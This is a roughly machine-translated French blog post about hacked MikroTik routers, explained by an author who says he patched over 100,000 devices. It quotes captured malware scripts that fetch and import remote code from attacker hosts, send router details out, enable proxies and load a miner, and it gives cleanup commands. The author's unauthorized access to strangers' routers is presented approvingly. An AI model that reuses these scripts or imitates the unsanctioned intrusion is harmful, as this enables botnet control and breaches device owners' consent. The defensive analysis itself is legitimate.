Pourquoi les pirates Mikrotik et comment j'ai caché 100 000. RouterOS d'un botnet

RouterOS est un outil très puissant entre les mains de professionnels et de professionnels responsables. Mais entre les mains des débutants ou de ceux qui font tout sur le "et ainsi descendre" Mikrotik commence à vivre sa propre vie et se transforme en nœud de botnet.

En mai 2018, j'ai écrit un article avec des recommandations sur la façon de protéger mon Mikrotik .

Curieusement, il existe encore des milliers de routeurs Mikrotik «ouverts» dans le réseau et l'armée du botnet se reconstitue.

Dans mon temps libre de travail et de loisirs, j'ai recherché des appareils vulnérables sur le réseau et effectué des réglages conformément à mes recommandations, c'est-à-dire que j'ai ajouté des règles de pare-feu qui bloquaient l'accès au routeur et non à partir du réseau local. Dans les commentaires, j'ai écrit des informations sur la vulnérabilité et laissé l'adresse du canal de télégramme @router_os, où je pouvais poser des questions d'intérêt (elles auraient dû apparaître dans un administrateur normal).



De mai à nos jours, j'ai «tiré» plus de 100 000 appareils Mikrotik des griffes du botnet.

Étant donné que je ne peux pas parler au MUM 2018 à Moscou , j'ai décidé de publier mon rapport sur habr.com

Il y a beaucoup d'analyses sur le réseau exactement comment RouterOS est utilisé par les pirates (par exemple ici ). Mais mon article est basé personnellement sur mon expérience.

Les administrateurs et leur réaction


Partout dans le monde, les administrateurs de routeurs ont tôt ou tard découvert un tel œuf de Pâques.



/ note système
/system note print
show-at-login: yes
note: I closed the vulnerability with a firewall. Please update RouterOS. You can say thanks on the WebMoney Z399578297824 or BTC 14qiYkk3nUgsdqQawiMLC1bUGDZWHowix1. My Telegram http://t.me/router_os


Le plus doucement recouvert le trou. Quelqu'un n'était pas trop paresseux pour m'écrire "merci". Mais il y avait ceux qui ne voulaient pas comprendre.

Un spécialiste normal doit répondre adéquatement lorsqu'il indique son erreur.


Pendant tout ce temps, pas plus de 50 personnes m'ont écrit ...

Étant donné que la réaction des utilisateurs a été minime, je suis arrivé à la conclusion que la grande majorité ne remarquera même pas que quelque chose ne va pas sur le routeur. Par conséquent, j'ai commencé à affiner mon script, qui, en plus des règles de pare-feu, supprimera les portes dérobées connues des attaquants.

Il est logique que ma méthode ne convienne pas à tout le monde. Mais je n'ai pas encore trouvé une approche différente de cette tâche.

Les pirates aiment RouterOS


Dans la grande majorité des cas, je me suis retrouvé sur un appareil déjà infecté par quelqu'un. Malheureusement, je n'ai pas immédiatement commencé à analyser leur contenu. Voici ce que j'ai trouvé et ce sera un signe certain que votre routeur est compromis.

Proxy Web et chaussettes


L'utilisation la plus courante du routeur se fait par le biais de proxy Web et de chaussettes standard. Si vous ne les utilisez pas, mais qu'ils sont activés, désactivez-les.

/ip proxy set enabled=no
/ip socks set enabled=no

Mais pour le désactiver, le pirate ajoute un script au sheduler, que le proxy activera après un certain temps:

/ script système
/system scheduler
add interval=10m name="port 54321" on-event="port 54321" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=sep/02/2018 start-time=20:35:53
/system script
add name="port 54321" owner=gateway policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source="/\
ip firewall filter remove [/ip firewall filter find where comment ~ \"port\
\_[0-9]*\"];/ip socks set enabled=yes port=54321 max-connections=255 conne\
ction-idle-timeout=60;/ip socks access remove [/ip socks access find];/ip \
firewall filter add chain=input protocol=tcp port=54321 action=accept comm\
ent=\"port 54321\";/ip firewall filter move [/ip firewall filter find comm\
ent=\"port 54321\"] 1;"


Vous pouvez trouver le fichier webproxy/error.html que le proxy vous webproxy/error.html et qui, à son tour, appelle le mineur.

Des paramètres supplémentaires apparaissent ici:

/ip proxy access print
/ip socks access print


Le script peut tout faire


90% des Mikrotiks à part entière ont des scripts /system script et pour eux, le calendrier d'exécution /system scheduler configuré.

Selon le calendrier, un script est téléchargé, qui est ensuite exécuté.

Installation de mineur
/system scheduler
add interval=11h name=upd113 on-event="/tool fetch url=http://gotan.bit:31415/\
01/error.html mode=http dst-path=webproxy/error.html" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd115 on-event=\
"/tool fetch url=http://gotan.bit:31415/01/u113.rsc mode=http" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:02
add interval=9h name=upd116 on-event="/import u113.rsc" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:28:12
add interval=1d name=Auto113 on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
aug/20/2018 start-time=03:00:00
/system script
add name=script4_ owner=nivel2 policy=\
ftp,reboot,read,write,policy,test,password,sensitive source="/tool fetch a\
ddress=95.154.216.163 port=2008 src-path=/mikrotik.php mode=http keep-resu\
lt=no"


Une autre version du script, qui après l'application tente de se cacher partiellement.
/system scheduler
add interval=11s name=MTIT on-event="/system script run MTIT" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
add interval=25m name="DDNS Serv" on-event="/system script run iDDNS" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-time=\
startup
/system script
add name=MTIT owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=\
"/ping 10.12.0.26 interface=ether4 count=10"
add name=iDDNS owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source=":global\
\_mac [/interface ethernet get 1 mac-address]\r\
\n:global port ([/ip service get winbox port].\"_\".[/ip socks get port].\
\"_\".[/ip proxy get port])\r\
\n:global info ([/ip socks get enabled].\"_\".[/ip proxy get enabled].\"_\
\".[/interface pptp-server server get enabled])\r\
\n:global cmd \"/\$mac/\$port/\$info/dns\"\r\
\n/tool fetch address=91.134.24.238 src-path=\$cmd mode=http dst-path=dns;\
:delay 3s\r\
\n/import dns;:delay 4s;/file remove dns"


Ainsi, les attaquants ont toujours la possibilité de «nourrir» un nouveau script et, par exemple, de mener une attaque DDOS à grande échelle.

Les scripts peuvent être cachés partout



Par conséquent, vérifiez soigneusement ces endroits. Sur un RouterOS propre, ces emplacements sont vides.

DST-NAT


À ma grande surprise, mais il existe de nombreux appareils de ce type sur lesquels le trafic est acheminé via /ip firewall nat .

Spam chez dst-nat

/ip firewall nat
add action=masquerade chain=srcnat comment="default configuration"
add action=masquerade chain=srcnat
add action=dst-nat chain=dstnat dst-port=4444 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-port=8008 protocol=tcp to-addresses=\
91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=8008 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=443 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=218.11.2.83 dst-port=25 protocol=\
tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.52 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.39.186 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=51.15.89.69 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.70 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=79.137.82.104 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.72.197 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=92.222.180.118 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444
add action=dst-nat chain=dstnat dst-address=151.80.59.84 dst-port=9999 \
protocol=tcp to-addresses=91.92.128.187 to-ports=4444


Un bon moyen de cacher votre véritable IP.

VPN


Comme sans lui. RouterOS peut récupérer différents types de vpn, mais les pirates utilisent le plus souvent pptp et L2TP.

Vérifiez donc la section /ppp secret

Même si cette section est vide, les pirates rusés peuvent se connecter via Radius.
Vérifier les enregistrements /radius print
Si vous n'avez rien configuré, il doit être vide. Sinon, il vaut la peine de nettoyer:
/radius remove numbers=[/radius find ]
Et interdire l'utilisation de Radius
/ppp aaa set use-radius=no use-circuit-id-in-nas-port-id=no
Désactiver l'utilisation de Radius pour l'autorisation sur l'appareil
/user aaa set use-radius=no

Si vous n'utilisez pas vpn, désactivez-le
/interface l2tp-server server set enabled=no
/interface pptp-server server set enabled=no
/interface sstp-server server set enabled=no


DNS statique


Ce n'était pas sans fischig. Sur les routeurs dans / ip dns static, vous pouvez trouver de tels


Tout est très simple: vous conduisez l'adresse d'un site que vous connaissez dans la barre d'adresse, mais en fait vous accédez au serveur de l'attaquant.

Supprimer le contenu

/ip dns static remove numbers=[/ip dns static find]

Rognage des droits d'administrateur



UPD: Il existe également un groupe de routeurs où le pirate a coupé les droits d'administrateur et a démarré le sien avec tous les droits (par exemple, routeur et cnt), ou supprime simplement les droits et met à jour le firmware au plus tard.



contenu / utilisateur dans le premier cas
[router @ MikroTik]> / print utilisateur
Drapeaux: X - désactivé
# NOM GROUPE ADRESSE DERNIÈRE CONNEXION
0 ;;; utilisateur par défaut du système
admin admin sep / 18/2018 15:08:45
1 dima full sep / 14/2018 19:54:00
2 routeur complet sep / 26/2018 09:23:41

[router @ MikroTik]> / impression du groupe d'utilisateurs
0 name = "read" policy = local, telnet, ssh, reboot, read, test, winbox, password, web, sniff, sensitive, api, romon, tikapp ,! Ftp ,! Write ,! Policy ,! Dude skin = default

1 nom = "écrire" politique = local, telnet, ssh, redémarrer, lire, écrire, tester, winbox, mot de passe, web, sniff, sensible, api, romon, tikapp,! Ftp,! Politique,! Skin Dude = défaut

2 nom = politique «complète» = local, telnet, ssh, ftp, redémarrage, lecture, écriture, politique, test, winbox, mot de passe, web, sniff, sensible, api, romon, mec, skin tikapp = par défaut

3 name = "admin" policy = local, ftp, reboot, read, write, test, winbox, password, web, sniff, sensitive, api,! Telnet ,! Ssh ,! Policy ,! Romon ,! Dude ,! Tikapp skin = par défaut


En option pour résoudre ce problème: via netinstall, rétrogradez vers un firmware vulnérable et utilisez l'exploit.

Renifleur de paquets


Des collègues de Kaspersky Lab ont mentionné le vol de trafic en le redirigeant vers un nœud inconnu.

Vous pouvez le désactiver comme ceci:
/tool sniffer stop
/tool sniffer set streaming-enabled=no filter-ip-protocol="" filter-port="" filter-interface="" filter-stream=no


Problème de produit Mikrotik


Il n’existe aucun système absolument sécurisé. Et la distribution de masse des produits Mikrotik a également nécessité une étude massive de ces appareils.
Étant donné que la fonctionnalité de RouterOS vous permet d'effectuer un grand nombre de tâches, elle est également intéressante pour les pirates.

En raison du développement très dynamique du produit, le taux d'émergence de nouveaux «trous» est également important. Malgré cela, Mikrotik émet rapidement des correctifs pour ses systèmes.

Quitter


À ce jour, la seule bonne solution pour protéger RouterOS est un pare-feu correctement configuré, qui fonctionne sur le principe de "tout ce qui n'est clairement pas autorisé est interdit".
Et tout cela parce que Mikrotik utilise le pare-feu Linux classique, qui a été perfectionné par une armée de spécialistes pendant des années.

Si vous avez besoin d'accéder à l'appareil à partir du réseau mondial, utilisez le principe du " port knocking ". Le principe «fail2ban» ne se justifie pas toujours, car il détecte toujours l'appareil.

Solutions globales


Mode Lamer


Les appareils étant très bon marché, ils sont achetés par des utilisateurs n'ayant pas de connaissances particulières. Mikrotik doit développer une interface "lamer", qui a un nombre minimum de paramètres, comme la plupart des routeurs SOHO. De plus, ce devrait être la valeur par défaut. Et l'utilisateur doit activer le mode avancé consciemment par lui-même. Le «réglage rapide» actuel n'est pas assez bon. De plus, en raison de l'abondance de boutons, l'utilisateur peut ne pas remarquer cette fonction.

Analyseur de bogues


Il nécessite également un module qui analyse la configuration actuelle pour d'éventuelles vulnérabilités et informe l'utilisateur s'il pense que le routeur peut être compromis. Ce module devrait charger la «base de connaissances» que les employés de Mikrotik remplissent en fonction d'erreurs courantes. Et en cas de vulnérabilités graves, activez le mode "urgence".
Si je pouvais systématiser une partie des menaces, alors les développeurs et plus encore ...

Pare-feu - en tant que service des fournisseurs


Le marché des appareils «intelligents» se développe rapidement et ils sont loin d'être tous bien protégés. La plupart des gens qui les achètent n'ont pas non plus de connaissances particulières pour protéger leurs gadgets par eux-mêmes.

Par conséquent, il est temps pour les fournisseurs d'accès Internet de créer un service commercial pour protéger ces gadgets. L'utilisateur Trite de votre compte indique les ports à ouvrir depuis Internet.
Les fournisseurs peuvent également créer une base de données centralisée des appareils existants et de leurs besoins normaux. L'utilisateur indique dans le LC quels appareils il utilise. En cas de comportement anormal d'un tel appareil, prévenez l'utilisateur.
Je pense que le marché est déjà mûr pour un tel service.

Ce service présente les avantages suivants:

  1. Pour le fournisseur, un autre élément de revenu
  2. Réduisez le trafic parasite
  3. Réduire le recrutement d'appareils au botnet
  4. Promotion du développement de services à domicile intelligents
  5. Les utilisateurs ne peuvent plus se soucier de leur sécurité.

Un peu de moi


J'essaierai de répondre aux questions qu'ils me poseront probablement.

  1. Je travaille dans des postes non liés à Mikrotik et aux réseaux en général.
  2. Cependant, j'ai un certificat MTCNA.
  3. Mikrotik est mon hobby. Tout ce que je fais - je l'aime juste. Donc pour dire "pour le plaisir".
  4. Pourquoi n’a-t-il pas obtenu un emploi par profil? Ceux qui achètent mikrotik dans notre ville ne peuvent pas payer beaucoup ZP. Ceux qui peuvent me payer digne de ce nom achètent du cisco.
  5. Dans les commentaires sur le pare-feu, j'ai indiqué mes portefeuilles, mais depuis mai, ils ne m'ont lancé qu'environ 40 $. Ils ont écrit aux télégrammes de différents pays, disant qu'ils n'avaient pas de wmz, mais quand même, "merci".

PS:


Partagez votre expérience sur la façon dont les pirates peuvent utiliser Mikrotik.

Source: https://habr.com/ru/post/fr424433/


All Articles